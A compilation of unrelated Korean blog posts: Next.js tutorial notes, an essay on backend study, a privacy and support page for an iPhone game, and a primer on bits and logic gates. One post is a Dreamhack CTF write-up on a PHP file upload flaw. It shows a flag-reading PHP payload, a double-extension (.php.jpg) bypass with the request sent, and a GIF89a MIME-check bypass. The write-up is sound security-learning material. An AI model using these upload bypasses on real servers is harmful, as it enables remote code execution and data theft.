5장 페이지 이동 내비게이션을 최적화해야하는 이유 페이지 간 링크를 걸 때 HTML 요소 사용해왔음. 현재 ᅡ이드바 링크는 요소 사용 → 브라우저에서 홈, 송장, 고객 페이지 사이 이동 시 어떤 일이 일어나는지 주목할 수 있음 HTML <a> 태그 HTML의 <a href="..."> 태그로 이동 시 페이지 전체가 새로고침됨 컴포넌트 <Link> Next.js에서는 컴포넌트 사용 → 애플리케이션 내 페이지 간 링크 걸 수 있음 태그를 사용하는 것과 비슷하지만 <Link href="..."> 형태로 작성 자바스크립트를 이용 → 필요한 부분만 전환하는 클라이언트 사이드 내비게이션 수행 자동 코드 분할 및 프리페칭 자동 코드 분할 내비게이션 경험 개선을 위해 Next.js는 자동으로 코드를 경로 구간별로 나눔 → 전통적인 React SPA와는 다름 전통적인 React SPA : 브라우저가 초기 페이지 로드 시 모든 애플리케이션 코드를 로드함 코드 경로 별로 분할 시 페이지가 분리됨 → 특정 페이지 오류 발생해도 나머지 애플리케이션은 여전히 작동함 + 브라우저가 파싱할 코드가 줄어들어 애플리케이션이 더 빠름 프리페칭 <Link> 컴포넌트가 브라우저 뷰포트에 나타나면 Next.js 백그라운드에서 링크된 경로의 코드 자동으로 미리 가져옴 → 사용자가 링크 클릭 시 이미 코드가 준비됨 → 즉시 전환됨 활성 링크 표시 사용자가 현재 어떤 페이지에 있는지 알리기 위해 아이콘 / 글씨에 색을 넣어 활성 링크를 표시하는 디자인 패턴 Next.js는 usePathname() 이라는 훅 제공 → 이를 통해 경로 확인 + 패턴 구현 가능 usePathname() 이 React 훅이므로 클라이언트 컴포넌트로 전환해야함 → 해당 파일 상단에 'use client' 선언을 추가하여 전환해야 함
백엔드 입문 올해 1월부터 웹 백엔드를 아주 열심히 공부했습니다. 전공자임에도 불구하고 대학에서 실무에 필요한 지식은 가르치지 않기 때문에 더 열심히 공부해야 합니다. 대학 생활 4년에 비하면 짧은 시간이기 때문에 당연히 중간중간 부족한 부분들이 생길 수밖에 없습니다. 너무나도 빠른 AI의 발전 AI는 깊게 생각할 필요도 없이 내가 원하는 기능만 잘 설명하면 뚝딱뚝딱 코딩해주는 편한 친구입니다. 특히 최근에 출시된 모델들은 고난이도의 작업도 토큰과 시간만 충분하다면 양질의 결과물로 제공합니다. 우리가 잘 짜여진 프롬프트를 활용하여 AI에게 이것저것 작업을 지시하면 이를 멋들어지게 완성해서 갖다바치기 때문에, 그 과정을 꼼꼼하게 검수할 필요가 없고, 결국 반드시 알아야 할 내용들을 놓치게 됩니다. 저도 마찬가지로 이미 Claude, ChatGPT를 비롯한 생성형 AI를 사용하는 것에 익숙해졌습니다. AI 활용 능력의 중요성이 더욱 커져감에 따라 AI를 사용하는 빈도가 늘어나면 결국 기본기에 소홀해지게 되고, 저 같은 경우에는 코드를 읽는 능력이나 백엔드의 구조와 개념 등을 점점 잊어버리기 시작했습니다. 요새는 아예 프로그래밍 언어 문법도 헷갈리기 시작하더군요... 기본으로 돌아가기 이럴 때일수록 초심을 찾아서 내가 부족했던 부분들을 찾아 메꾸는 과정이 필요합니다. 심화된 내용을 공부하는 것도 좋지만, 한 번쯤 잘 모르는 내용들에 대해 공부하는 것도 괜찮겠다는 생각이 들었습니다. 빈틈을 찾아서 메꾸는 공부이기 때문에 의외로 기초적인 부분을 학습하더라도 꽤 많은 노력이 필요할 거라고 예상됩니다. 잊은 내용을 다시 찾아보는 건 쉽지만, 그걸 전부 다시 학습하는 시간은 오래 걸릴 수밖에 없다고 생각합니다. 그러니 열심히 처음부터 다시 리뷰하며 웹 백엔드에 대해 꼼꼼히 공부해봅시다.
요약 https://dreamhack.io/wargame/challenges/2624 해당 문제는 File Upload Vulnerability 문제이다. 서버에 업로드 하는 이미지의 확장자 검사 과정에서 취약점을 찾고, 서버에 php 코드를 업로드 하여 flag를 탈취할 수 있다. 분석 코드가 길기 때문에 핵심 부분만 확인해보자. 아래는 upload.php 코드의 일부이다. $filename = basename($file['name']); $file_extension = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $allowed_extensions = ['jpg', 'jpeg', 'png', 'gif']; $check_extension = $file_extension; $finfo = finfo_open(FILEINFO_MIME_TYPE); $mime_type = finfo_file($finfo, $file['tmp_name']); finfo_close($finfo); $allowed_mimes = ['image/jpeg', 'image/png', 'image/gif', 'image/jpg']; if (!in_array($mime_type, $allowed_mimes) && !in_array($check_extension, $allowed_extensions)) { die("<script>alert('Only images allowed.'); history.back();</script>"); } 사용자가 업로드한 파일의 mime_type을 검사하고, 허용된 mimes인지, 또 허용된 확장자인지 검사한다. 다만, if의 조건문은 파일 확장자는 이미지에 해당하나 mime_type이 다른 경우와 mime_type은 허용되나 확장자가 이미지 확장자가 아닌 두 경우에 대해서 업로드를 허용하는 논리적 오류가 있다. 서버의 코드를 살펴보면, /uploads 라는 디렉터리가 존재한다. 아래의 gallary.php에서 이미지를 불러올 때 uploads/에 저장된 이미지를 불러오는 것을 알 수 있다. <?php $upload_dir = "uploads/"; $info_file = $upload_dir . "info.json"; $upload_info = []; if (file_exists($info_file)) { $upload_info = json_decode(file_get_contents($info_file), true) ?: []; } 실제로 /uploads 디렉터리로 이동하면 아래와 같은 화면을 확인할 수 있다. 내가 업로드한 파일들 목록을 확인할 수 있으며 접근할 수도 있다. 이곳에서 Apache 서버를 사용하는 것을 확인할 수 있고, http response에서도 확인할 수 있다. 서버의 /uploads에는 다음과 같은 내용을 포함하는 Apache 서버의 설정파일인 .htaccess 파일이 있다. 확장자가 .php일 경우 Apache가 해당 파일의 mime-type을 application/x-httpd-php로 해석하여, php 코드를 실행하도록 설정되어 있다. AddType application/x-httpd-php .php .phtml .php3 .php4 .php5 .inc 풀이 나는 확장자는 허용된 이미지 확장자지만, 실제 MIME type은 text/x-php인 경우로 진행해보았다. $allowed_extensions = ['jpg', 'jpeg', 'png', 'gif']; 서버 코드를 보면 알 수 있듯이 flag.txt는 /flag.txt에 위치하고 있어 페이로드를 다음과 같이 작성할 수 있었다. <?php echo file_get_contents('/flag.txt'); ?> 이렇게 적고선 확장자를 png로 변경해 실행해 보았지만 응답은 아래와 같았다. HTTP/1.1 200 OK Date: Tue, 06 Oct 2026 15:25:27 GMT Server: Apache/2.4.65 (Debian) Last-Modified: Tue, 06 Oct 2026 15:24:11 GMT ETag: "2f-65d2d9726135c" Accept-Ranges: bytes Content-Length: 47 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: image/png <?php echo file_get_contents('/flag.txt'); ?> 내 스크립트가 실행되지 않고 그대로 response로 돌아올 뿐이었다. 다시 한 번 /uploads 내의 .htaccess 파일을 확인해보자. 확장자가 .php일 경우 php로 실행이 가능하다. 이 경우에는 단순히 png로 확장자를 바꾼 것 뿐이어서 실행되지 않은 것 같다. AddType application/x-httpd-php .php .phtml .php3 .php4 .php5 .inc 따라서 exploit.php.jpg와 같은 형식으로 고쳐서 업로드 하였고 업로드에 성공하였다. /uploads로 돌아와 업로드 된 것을 확인하고 아래와 같이 해당 파일의 GET 요청을 전송해 보았다. GET /uploads/20261006150233_2259_exploit.php.jpg HTTP/1.1 Host: host3.dreamhack.games:9681 Accept-Language: ko-KR,ko;q=0.9 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/151.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Cookie: PHPSESSID={세션아이디} Connection: keep-alive 결과 php 확장자로 해석되어 flag가 출력되었다. 어째서 exploit.php.jpg가 php 확장자로 해석 되었을까? 후행적이지만 아래와 같이 확인할 수 있었다.. Apache의 mod_mime 모듈은 .(점)으로 구분된 모든 확장자를 각각 검사한다. 또한 AddType application/x-httpd-php .php와 같이 설정된 환경에서는 역사적인 Apache/mod_php 동작에 의해 .php가 포함된 exploit.php.jpg와 같은 파일도 PHP로 처리될 수 있다. 결론적으로 이미지 확장자 검사 자체에 로직 오류가 있었고.. apache의 .htaccess에 있는 AddType 옵션에 따라 php 코드가 실행될 수 있는 취약점으로 인해 임의 코드 실행이 가능했다. 배운 점/느낀 점 문제를 처음 접했을때 php 문법에 익숙하지 않아 코드부터 천천히 이해해 보았다. file upload 취약점은 아직 학습한 적이 없어서 portswigger의 File upload vulnerabilities path를 공부 해보다가 .php.jpg와 같은 방식을 시도해 보았는데 간단하게 해결돼서 사실 조금 당황했다. 문제를 풀어보면서.. 내가 서버 사이드에 대한 이해가 부족하다는 것을 많이 느꼈다. 내가 서버 운영이나 백엔드에 대한 지식이 있었다면 좀 더 쉽게 접근할 수 있었을까? 생각 하다가도 이렇게 웹해킹 학습 과정에서 지식이 쌓여가는 것도 나름 재미있다고 느낀다. 추가 풀이방법 문제를 풀고 다른 분들의 write-up을 둘러보았는데, 내가 확장자를 이미지로 한 것과 달리 mime-type을 우회한 방식도 있었다. php 스크립트의 맨 앞에 GIF89a 라는 시그니처를 추가하여 image/gif로 판별하도록 우회할 수 있었다. GIF89a <?php echo file_get_contents('/flag.txt'); ?> 이렇게 스크립트 작성 시 단순히 php 확장자로도 직접 업로드가 가능했다. 결과
노릇연금소: 빵 강화 운영자: HYUN JUN YOOK (yook hyun jun) 지원·개인정보 문의: yhj03069@gmail.com 적용 앱 버전: 1.0 시행일·최종 수정: 2026년 10월 7일 노릇연금소는 작은 반죽에서 시작해 빵을 강화하고 판매하며 31종 레시피를 모으는 iPhone용 오프라인 게임입니다. 회원가입이나 로그인 없이 사용할 수 있습니다. 버전 1.0에는 광고, 앱 내 구입, 분석 SDK와 개발자 서버 통신 기능이 없습니다. 개인정보처리방침 기기에 저장하는 정보 앱은 이어서 플레이할 수 있도록 현재·최고 강화 단계, 게임 재화, 도감 해금 상태, 연구 진행, 플레이 통계 등 게임 진행 정보와 효과음·진동·반죽 모드 등의 설정을 기기 내 앱 저장 공간에 보관합니다. 이 정보는 개발자의 서버로 전송되지 않습니다. 앱은 이름, 이메일, 전화번호, 위치, 연락처, 사진과 광고 식별자를 수집하지 않습니다. 광고·분석 서비스를 연결하지 않으며, 게임 진행 정보나 기기 식별 정보를 광고 또는 사용자 추적 목적으로 제3자에게 제공하거나 판매하지 않습니다. 기록 관리와 삭제 게임 진행은 기기에 자동 저장됩니다. 앱 설정의 진행 기록 삭제 기능을 실행하고 확인하면 게임 진행을 초기화할 수 있습니다. 삭제한 진행을 되돌리는 기능은 없습니다. 앱 자체를 삭제하면 해당 앱의 로컬 데이터도 제거됩니다. iOS의 ‘앱 정리하기’는 데이터를 남길 수 있으므로 전체 제거를 원하면 ‘앱 삭제’를 사용해 주세요. 개발자가 기기의 저장 파일을 원격으로 복구할 수는 없습니다. 기기 백업과 복원 앱 자체의 계정, 서버 백업, 기기 간 동기화 기능은 없습니다. 사용자 설정에 따라 앱 데이터가 iCloud 또는 컴퓨터의 기기 백업에 포함될 수 있습니다. 앱 안에서의 진행 삭제는 기존 기기 백업을 삭제하지 않으며, 이전 백업을 복원하면 백업 당시 기록이 다시 나타날 수 있습니다. 기기 백업은 Apple이 제공하는 설정과 기능으로 관리합니다. 이메일 문의 사용자가 자발적으로 보내는 이메일 주소와 문의 내용은 문의 확인과 답변 목적으로 처리합니다. 게임 기록과 기기 정보는 문의 메일에 자동 첨부되지 않습니다. 사용자가 직접 작성하거나 첨부한 정보만 선택한 메일 앱과 메일 서비스를 통해 전달됩니다. 앱 안의 진행 기록 삭제는 별도로 발송한 이메일을 삭제하지 않습니다. 문의 내용의 처리 또는 삭제에 관한 요청은 yhj03069@gmail.com 으로 보내 주세요. 비밀번호나 불필요한 개인 정보는 보내지 마세요. 외부 웹페이지와 방침 변경 이 벨로그 페이지 방문 시의 정보 처리는 벨로그의 개인정보 정책을 따릅니다. 앱의 기기 내 데이터 처리와 웹페이지 방문 정보 처리는 구분됩니다. 앱의 데이터 처리 방식이 바뀌면 이 페이지의 적용 버전·수정일과 App Store 개인정보 안내를 함께 갱신합니다. 노릇연금소 지원 앱 사용 문의와 오류 제보: yhj03069@gmail.com 게임 방법 오븐: 표시된 비용과 확률을 확인한 뒤 빵을 강화합니다. 성공하면 다음 단계의 빵으로 바뀌며, 실패 결과는 단계에 따라 유지·하락·빵이 타는 경우로 나뉩니다. 사용 가능한 오븐 장갑을 켜 두면 빵이 타는 결과에서 단계를 지킬 수 있습니다. 빵 판매: 빵을 판매해 코인과 명성을 얻고 새 반죽으로 다음 도전을 시작합니다. 레시피: 처음 도달한 단계가 도감에 남습니다. 발견한 빵의 그림과 설명을 살펴볼 수 있습니다. 연구실: 명성을 사용해 강화 비용 할인, 판매 보너스 등 영구 성장 효과를 연구합니다. 반죽하기: 강화로 모은 반죽 에너지가 100%가 되면 미니게임으로 코인과 장갑 조각을 얻습니다. 설정에서 타이밍 없이 세 번 눌러 즐기는 편안한 모드를 선택할 수 있습니다. 발자취·설정: 최고 단계와 플레이 기록을 확인하고, 효과음·진동·반죽 모드를 변경하거나 게임 안내를 읽을 수 있습니다. 모든 게임 재화와 보상은 게임 안에서만 사용합니다. 실제 화폐로 구매하거나 다른 사용자와 거래하거나 현금으로 교환할 수 없습니다. 이용 환경 iOS 17 이상을 사용하는 iPhone에서 세로 화면으로 플레이할 수 있습니다. 게임 화면은 한국어로 제공되며, 플레이 중 인터넷 연결이 필요하지 않습니다. 문제가 생겼을 때 앱을 다시 열어 같은 문제가 반복되는지 확인해 주세요. 문의 시 iPhone 모델, iOS 버전, 앱 버전, 문제가 생긴 화면과 직전에 수행한 동작을 알려 주시면 도움이 됩니다. 화면 캡처는 필요할 때만 보내고 알림 등 개인 정보가 포함되지 않았는지 확인해 주세요. 진행 기록 보존을 원하면 문제 해결을 위해 앱을 삭제하기 전에 먼저 문의해 주세요.
최소 단위 움직이는 최소 단위 전기 컴퓨터는 결국 전기를 통해 움직이는 기계이다. 컴퓨터 내부에서는 전압의 변화와 전류의 흐름으로 신호를 주고 받는다. 그런데 전압은 0V , 1V 처럼 딱 떨어지는 값만 존재하지 않는다. 현실의 전압은 아주 다양한 크기를 가질 수 있다. 그렇다면 의문이 생긴다. 왜 컴퓨터는 다양한 전압을 세밀하게 나누어 십진법처럼 더 많은 값을 표현하지 않고 굳이 0 과 1 의 두 상태만 사용하는가? 단순하다. 그게 하드웨어가 훨씬 안정적으로 동작하는 방향이기 때문이다. 전압을 세밀하게 구분하면 지금 들어온 전압이 정확히 어느 구간에 속하는지 판단해야 한다. 하지만 실제 하드웨어는 완벽하고 동일한 환경에서 동작하지 않는다. 열이 발생하고, 전기적 노이즈가 생기고, 부품마다 제조 공정에서 생기는 어쩔 수 없는 오차도 존재한다. 상태를 아주 촘촘하게 나눈다면 작은 흔들림만으로도 원래 값과 다른 값으로 읽힐 수 있다. 이를 종합적으로 판단하여 결국 컴퓨터는 단순한 방식을 선택했다. 전압이 충분히 높다면 1 , 충분히 낮다면 0 사이의 애매한 전압도 물리적으로는 하나의 상태로 구분할 수 있다. 하지만 컴퓨터는 그 상태를 유효한 논리값으로 채택하지 않는다. 그 전압을 0 으로 읽을지 1 로 읽을지 항상 보장할 수 없기 때문이다. 결국 하드웨어는 안정적으로 구분할 수 있는 두 상태를 선택했고, 우리는 그 두 상태를 비트라고 부른다. 판단하는 최소 단위 비트 이제 전압의 높고 낮음으로 컴퓨터가 0 과 1 을 표현한다는 사실을 이해하게 되었다. 그렇다면 비트는 어디에서 사용되나? 처음에는 CPU가 모든 비트를 직접 다룰 것처럼 보인다. 하지만 조금 더 보다 보면 계산 뿐만 아니라 저장, 화면 변환, 전송 등에도 비트를 사용한다. 각 역할을 해당하는 장치들은 따로 존재하고 서로 다른 일을 하지만, 결국 전기적 상태를 0 과 1 로 구분하고 그 상태를 읽고, 바꾸고, 전달한다는 공통점을 가진다. CPU: 계산, 비교, 분기, 제어 GPU: 대량 병렬 계산 RAM: 실행 중인 데이터 보관 저장장치(HDD, SSD): 데이터를 장기간 저장 네트워크 장치: 비트 전달 입출력 장치: 외부 신호를 비트로 변환하거나 비트를 외부 신호로 변환 트랜지스터 - 부품의 기본 소자 위 장치들을 구성하는 기본 소자가 있다. 전자 장치가 전기 신호를 선택하고, 증폭하고, 다음 회로를 제어할 수 있게 하는 전기 스위치가 트랜지스터다. CPU, GPU, RAM 처럼 서로 다른 역할을 하는 장치도 트랜지스터가 전류의 흐름을 제어한다는 공통된 기반 위에 만들어진다. 이 트랜지스터를 여러 개 연결했을 때, 어떻게 단순한 전기 스위치가 boolean 값을 판단하고 숫자를 계산하는 회로가 될 수 있는가? 비트의 판단 컴퓨터는 어떻게 두 상태만으로 복잡한 조건을 판단하고, 계산하고, 동작을 할까? 핵심은 비트 하나가 단순한 숫자만 표현하는 것이 아니라는 점이다. 같은 비트열도 어떤 규칙으로 해석하느냐에 따라 숫자일 수도 있지만, 조건이 맞는지에 대한 답을 가지고 있을 수도 있다. 참과 거짓은 나타내는 상태일 뿐, 조합을 통해 더 복잡한 판단을 만들어 낸다. 컴퓨터가 사용하는 논리 연산은 몇 가지 단순한 질문에서 시작한다. 입력과 반대되는 결과가 필요한가? 모든 조건이 만족되어야 하는가? 여러 조건 중 하나만 만족해도 되는가? 두 상태가 서로 다른가? 이 질문을 전기 회로로 만든 것이 논리 게이트다. 논리 게이트는 들어온 0 과 1 을 정해진 규칙에 따라 계산해서 새로운 0 과 1 로 내보내는 회로다. 이제부터는 우리가 많이 들어오고 사용해온 그 연산자가 나온다. NOT - 입력과 반대되는 값을 출력 가장 단순한 연산으로 값을 뒤집는 연산처럼 보인다. 하지만 어떤 조건이 만족되지 않았을 때만 동작해야 하는 회로나, 어떤 상태의 반대 조건을 만들어야 하는 모든 판단의 시작점이 되는 연산이다. 입력 출력 0 1 1 0 AND - 모든 입력이 1일 때 1을 출력 여러 입력 값이 동시에 만족되는지 확인한다. 조건 중 하나라도 부족하면 실행하지 않는다는 의사결정의 규칙이 되는 연산이다. A B 출력 0 0 0 0 1 0 1 0 0 1 1 1 OR - 하나 이상의 입력이 1일 때 1을 출력 여러 입력 값 중 하나 이상이 만족되는지 확인한다. AND 가 모두 필요함이라면 OR 는 하나면 충분함이라는 판단의 규칙이 되는 연산이다. A B 출력 0 0 0 0 1 1 1 0 1 1 1 1 XOR - 입력 값이 서로 다를 때 1을 출력 두 입력을 다루며 서로 다름을 확인한다. 둘 중 정확히 하나만 참인가를 판단할 때 사용할 수 있고, 이진수 덧셈에서 두 비트의 합 자리를 계산하는 데도 사용된다. A B A XOR B 0 0 0 0 1 1 1 0 1 1 1 0 복잡한 논리 판단 논리 게이트 하나는 아주 단순한 규칙만을 처리한다. 하지만 게이트의 출력이 다시 다른 게이트의 입력으로 이어지는 순간, 거대한 의사결정을 단순한 0 과 1 의 규칙으로 풀리기 시작한다. 수많은 논리 연산이 있지만 사실 독립된 개별 규칙이 아니다. 일부 게이트를 조합하는 것만으로도 다른 모든 연산을 표현해낼 수 있는 성질을 품고 있다. 특히 NAND 연산자 단 하나만 있어도 컴퓨터에 필요한 모든 논리 연산자를 만들어낼 수 있는데 이를 기능적 완전성 이라고 한다. 컴퓨터가 복잡한 판단을 할 수 있는 이유는 처음부터 모든 판단 규칙이 존재해서가 아니다. 그저 아주 적고 단순한 규칙들을 원하는 만큼 촘촘하게 연결할 수 있는 완결성을 가졌기 때문이다. 마치며 이제 컴퓨터는 연속적인 전기 신호를 안정적으로 구분 가능한 0 과 1 의 상태로 다루도록 설계됨을 이해했다. 하지만 아직 해결되지 않은 문제가 있다. 01000001 이라는 비트열은 무엇을 의미할까? 부호 없는 8비트 정수로 해석하면 65가 되고 ASCII 또는 UTF-8의 한 바이트로 해석하면 문제 A 다. 또 다른 규칙 아래에서는 CPU가 실행할 명령어의 일부일 수도 있다. 비트는 상태를 표현할 뿐 그 상태의 의미를 스스로 결정하지 않는다. 다음에서는 같은 비트열이 상황에 따라 전혀 다른 데이터가 되는 규칙을 살펴볼거다. 오늘의 한마디 내가 건넨 손을 잡을지 말지, 나를 어떻게 평가할지는 100% 상대방의 과제이다.
1장 시작하기 새로운 프로젝트 만들기 npm과 pnpm npm : Node.js와 함께 기본 설치되는 대표적인 패키지 매니저 pnpm을 패키지 매니저로 사용하는 것을 추천 → pnpm 이 npm , yarn 보다 패키지 설치 속도가 빠르고, 중복 다운로드를 줄여 컴퓨터 용량 효율적으로 사용함 패키지 매니저 : 프로젝트에 필요한 외부 도구(=패키지)를 다운로드하고 관리하는 프로그램 터미널에서 npm install -g pnpm 명령어로 전역 설치 가능 전역 설치 : 내 컴퓨터 전체에서 언제든 pnpm 명령어 실행할 수 있도록 시스템 프로그램처럼 설치하는 것 Next.js 앱 만들려면, 터미널(vscode터미널)에서 프로젝트 보관하고 싶은 폴더에 CD 를 넣고 아래 명령 실행 : //명령어 이해 못함 npx create-next-app@latest nextjs-dashboard --example "https://github.com/vercel/next-learn/tree/main/dashboard/starter-example" --use-pnpm npx : 프로그램이 필요할 때 일회성으로 즉시 실행해주는 도구 / create-next-app@latest : Next.js 프로젝트 자동으로 구성해주는 CLI 도구의 최신(@latest) 버전 실행함 / nextjs-dashboard : 새로 생성될 프로젝트 이름 / --example "..." : 스타터 예제 코드를 가져와서 시작함 / --use-pnpm : 프로젝트 설정시 패키지 매니저로 npm 대신 pnpm 을 사용하겠다고 지정하는 플래그 - 그럼 디폴트가 npm인가? 명령줄 인터페이스(CLI) 도구인 create-next-app 을 이용해 Next.js 애플리케이션 설정 CLI : 터미널에 텍스트 명령어를 직접 입력해서 컴퓨터와 대화하는 방식 CLI 도구 : 터미널에 명령어 입력 → 필요한 파일, 폴더 구조를 자동으로 만들어주는 프로그램 모듈 설치 수동 설치 : 개발자가 터미널에서 직접 pnpm i 나 npm install <패키지명> 과 같은 명령어 입력 → 필요한 모듈 설치하는 방식 / 로컬 설치와 전역 설치로 구분 가능 | 구분 | 로컬 설치 | 전역 설치 (`-g` 플래그) | | --- | --- | --- | | 설치 위치 | 현재 프로젝트 폴더 안 | 내 컴퓨터 시스템 전체에서 사용 가능 | | 사용 범위 | 해당 프로젝트 내부에서만 사용 가능 | 내 컴퓨터 어디서든 터미널 명령어로 사용 가능 | 자동 설치 : CLI 도구를 통해 프로젝트 생성 시 기본 의존성 파일들이 자동으로 설치 및 설정되는 방식 / Next.js는 프로젝트에서 TypeScript 등의 환경 감지 → 필요한 패키지 + 설정을 자동으로 설치해주기도 함 ⇒ 수동은 일일이 터미널에 하나씩 쳐서 설치 + 설정 파일도 직접 작성해야함 / 자동은 명령어 하나면 구동에 필요한 것들 목록을 자동으로 다운로드 + 최적의 설정 파일까지 세팅해줌 프로젝트 탐색 모든 애플리케이션 코드를 직접 작성하지 않고도 Next.js의 주요 기능 배우는데 집중 설치 후 코드 편집기에서 프로젝트 열고 터미널에서 cd nextjs-dashboard 실행 폴더 구조 !image.png /app : 애플리케이션의 모든 라우트(Routes), 컴포넌트, 로직이 위치함 → 주로 작업하는 부분 = 웹, 앱의 핵심 작동 부위들이 모여있음 라우트(Routes) : 웹사이트의 페이지 주소(URL 경로) 컴포넌트 : 화면 구성하는 재사용 가능한 UI 일부분 로직 : 화면 뒤에서 일어나는 데이터 처리 및 규칙 /app/lib : 재사용 가능한 유틸리티 함수 / Data Fetching 함수 등 애플리케이션에서 사용되는 함수 모아둠 유틸리티 함수 : 여러 곳에서 반복해서 쓰이는 공통 도움말 기능 Data Fetching 함수 : DB나 외부 서버에서 필요한 데이터를 끌어오는 역할만 하는 함수 /app/ui : 카드, 표, 폼(구글 Form 등) 등 애플리케이션의 모든 UI 구성 요소 보관함 /public : 이미지와 같은 애플리케이션의 모든 정적 자산 보관함 정적 자산 : 서버에서 내용이 동적으로 바뀌지 않고 있는 그대로 브라우저에 보여주는 파일들 ex) 이미지 파일, 로고, 아이콘, 폰트 등 설정 파일(Config Files) : 애플리케이션의 루트 부분에 있음, 이 파일들 대부분은 새 프로젝트 시작 시 생성 + 미리 설정됨 (수정할 필요 없음) next.config.ts , create-next-app 등 전체 프로젝트 설정 파일이 위치함 루트 부분 : 프로젝트 폴더의 최상위 디렉토리(가장 바깥쪽 폴더) 의미, 최상단 위치 플레이스홀더 데이터 사용자 인터페이스 만들 때 임시 데이터 있으면 도움이 됨 임시 데이터 : DB나 API가 준비되기 전, 파일의 자바스크립트 객체 데이터 활용해 추후 DB에 초기 데이터 채울 수 있음 아직 DB나 API가 제공되지 않은 경우 사용할 수 있는 방법 자리 표시자 데이터를 JSON 파일 형식이나 JavaScript 객체형태로 만들어두고 사용 → 실제 DB 구축 시 초기 데이터 채워넣는 용도로도 활용함 자리 표시자 데이터 : DB나 벡엔드 API가 아직 준비X 일 때, 화면(UI)가 제대로 나오는지 확인하기 위한 임시 사용하는 가짜 샘플 데이터 mockAPI 같은 서드파티 서비스 사용 서드파티 서비스 : 외부 전문 회사나 다른 개발자가 만들어 제공하는 연동 서비스 TypeScript 대부분의 파일에 a 또는 접미사가 붙어있음 + 대부분의 파일이 .ts 또는 .tsx 확장자로 작성됨 → 프로젝트가 TypeScript로 작성되었기 때문임 여기서 Type은 자료형임 ex) 정수형, 실수형 등등 이런게 자료형임 파일에서 DB에 반환되는 타입을 수동으로 정의함 → 잘못된 데이터 전달 방지 타입 안전성을 위해 DB 스키마를 기반으로 자동으로 타입을 선언하는 Prisma 나 Drizzle 을 권장함 개발 서버 실행 - 터미널에서 실행 프로젝트 패키지 설치 : pnpm i 를 이용해 필요한 패키지 설치 개발 서버 시작 : pnpm dev 명령어로 3000번 포트에서 개발 서버 실행 / 꼭 3000번 포트에서 실행할 필요는 없음 다만 기본 설정 번호일 뿐임 다른 프로그램이 쓰고 있으면 알아서 3001번, 3002번 등으로 바꿔서 실행해 줌 브라우저 주소창에 http://localhost:3000 입력 → 접속 확인